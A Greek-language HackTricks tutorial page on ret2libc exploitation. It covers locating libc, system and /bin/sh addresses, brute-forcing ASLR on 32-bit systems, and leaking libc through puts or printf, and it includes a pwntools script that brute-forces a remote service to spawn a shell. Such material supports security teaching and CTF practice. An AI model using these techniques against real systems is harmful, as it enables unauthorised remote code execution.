Ret2lib

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Η ουσία του Ret2Libc είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε ένα κοινόχρηστο βιβλιοθήκη (π.χ., system, execve, strcpy) αντί να εκτελεί κώδικα κέλυφους που παρέχεται από τον εισβολέα στη στοίβα. Ο εισβολέας δημιουργεί ένα φορτίο που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα για να δείχνει στην επιθυμητή συνάρτηση βιβλιοθήκης, ταυτόχρονα διαμορφώνοντας τυχόν απαραίτητα ορίσματα για να ρυθμιστούν σωστά σύμφωνα με τον κανόνα κλήσης.

Παραδειγματικά Βήματα (απλουστευμένα)

  • Αποκτήστε τη διεύθυνση της συνάρτησης που θα καλείτε (π.χ. system) και την εντολή που θα καλείτε (π.χ. /bin/sh)

  • Δημιουργήστε μια αλυσίδα ROP για να περάσετε το πρώτο όρισμα που δείχνει στο συμβολοσειρά εντολών και τη ροή εκτέλεσης στη συνάρτηση

Εύρεση των διευθύνσεων

  • Υποθέτοντας ότι η libc που χρησιμοποιείται είναι αυτή από την τρέχουσα μηχανή, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της βιβλιοθήκης libc μπορείτε να κάνετε:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατόν να βρεθεί το offset προς τη συνάρτηση system με:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί το offset για το string /bin/sh function με:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Χρησιμοποιώντας το gdb-peda / GEF

Γνωρίζοντας την βιβλιοθήκη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιηθεί το Peda ή το GEF για να ανακτηθεί η διεύθυνση της συνάρτησης system, της συνάρτησης exit και του string /bin/sh :

p system
p exit
find "/bin/sh"

Χρήση /proc/<PID>/maps

Αν η διεργασία δημιουργεί παιδιά κάθε φορά που επικοινωνείτε μαζί της (διακομιστής δικτύου), προσπαθήστε να διαβάσετε αυτό το αρχείο (ίσως χρειαστεί να είστε ροοτ).

Εδώ μπορείτε να βρείτε ακριβώς πού φορτώνεται η libc μέσα στη διεργασία και πού θα φορτωθεί για κάθε παιδί της διεργασίας.

Σε αυτήν την περίπτωση φορτώνεται στη θέση 0xb75dc000 (Αυτή θα είναι η βασική διεύθυνση της libc)

Άγνωστη libc

Μπορεί να είναι δυνατόν να μην γνωρίζετε την libc που φορτώνει το δυαδικό αρχείο (επειδή μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτήν την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να διαρρεύσετε μερικές διευθύνσεις και να βρείτε ποια libc βιβλιοθήκη χρησιμοποιείται:

Leaking libc address with ROP

Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο:

Leaking libc - template

Γνωρίζοντας την libc με 2 μετατοπίσεις

Ελέγξτε τη σελίδα https://libc.blukat.me/ και χρησιμοποιήστε μερικές διευθύνσεις συναρτήσεων μέσα στην libc για να ανακαλύψετε τη χρησιμοποιούμενη έκδοση.

Παράκαμψη του ASLR σε 32 bits

Αυτές οι επιθέσεις με brute-forcing είναι χρήσιμες μόνο για συστήματα 32bit.

  • Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να κάνετε brute-force τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να δοκιμάσετε να δοκιμάσετε με βία τη διεύθυνση της συνάρτησης usleep της libc, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο διακομιστής χρειάζεται 10 δευτερόλεπτα παραπάνω για να ανταποκριθεί, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.

One Gadget

Εκτελέστε ένα κέλυφος απλά αναπηδώντας σε μία συγκεκριμένη διεύθυνση στην libc:

One Gadget

x86 Παράδειγμα Κώδικα Ret2lib

Σε αυτό το παράδειγμα, η brute-force του ASLR ενσωματώνεται στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Παράδειγμα Κώδικα x64 Ret2lib

Ελέγξτε το παράδειγμα από:

ROP - Return Oriented Programing

Παράδειγμα ARM64 Ret2lib

Στην περίπτωση του ARM64, η εντολή ret αναπηδάει στο σημείο όπου δείχνει το μητρώο x30 και όχι στο σημείο όπου δείχνει το μητρώο στοίβας. Έτσι είναι λίγο πιο περίπλοκο.

Επίσης, στο ARM64 μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατό να αλλάξετε στη μέση των εντολών και να τις μετατρέψετε σε νέες).

Ελέγξτε το παράδειγμα από:

Ret2lib + Printf leak - arm64

Ret-into-printf (ή puts)

Αυτό επιτρέπει την διαρροή πληροφοριών από τη διεργασία καλώντας το printf/puts με κάποια συγκεκριμένα δεδομένα που τοποθετούνται ως όρισμα. Για παράδειγμα, η τοποθέτηση της διεύθυνσης του puts στο GOT σε μια εκτέλεση του puts θα διαρρεύσει τη διεύθυνση του puts στη μνήμη.

Ret2printf

Αυτό σημαίνει ουσιαστικά την κατάχρηση ενός Ret2lib για να το μετατρέψετε σε μια ευπάθεια συμβολοσειράς printf χρησιμοποιώντας το ret2lib για να καλέσετε το printf με τις τιμές που εκμεταλλεύεστε (ακούγεται άχρηστο αλλά είναι δυνατό):

Format Strings

Άλλα Παραδείγματα & αναφορές

  • Ret2lib, δεδομένη μια διαρροή στη διεύθυνση μιας συνάρτησης στο libc, χρησιμοποιώντας ένα one gadget

  • 64 bit, ενεργοποιημένο το ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλισμα μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσετε system('/bin/sh')

  • 64 bits, ενεργοποιημένο το ASLR, χωρίς canary, υπερχείλισμα στη στοίβα στη main από μια παιδική συνάρτηση. ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.

  • 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη λειτουργία write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα one gadget.

  • Χρησιμοποιεί μια συμβολοσειρά μορφοποίησης για να διαρρεύσει το canary από τη στοίβα και ένα υπερχείλισμα buffer για να καλέσει το σύστημα (είναι στο GOT) με τη διεύθυνση του /bin/sh.

  • 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κατάχρηση ενός κακού δείκτη για να διαρρεύσει διευθύνσεις του libc και της στοίβας από τη στοίβα. Κατάχρηση του υπερχείλισμα buffer για να κάνει ένα ret2lib καλώντας system('/bin/sh') (η διεύθυνση της στοίβας χρειάζεται για να παρακάμψει έναν έλεγχο).

Last updated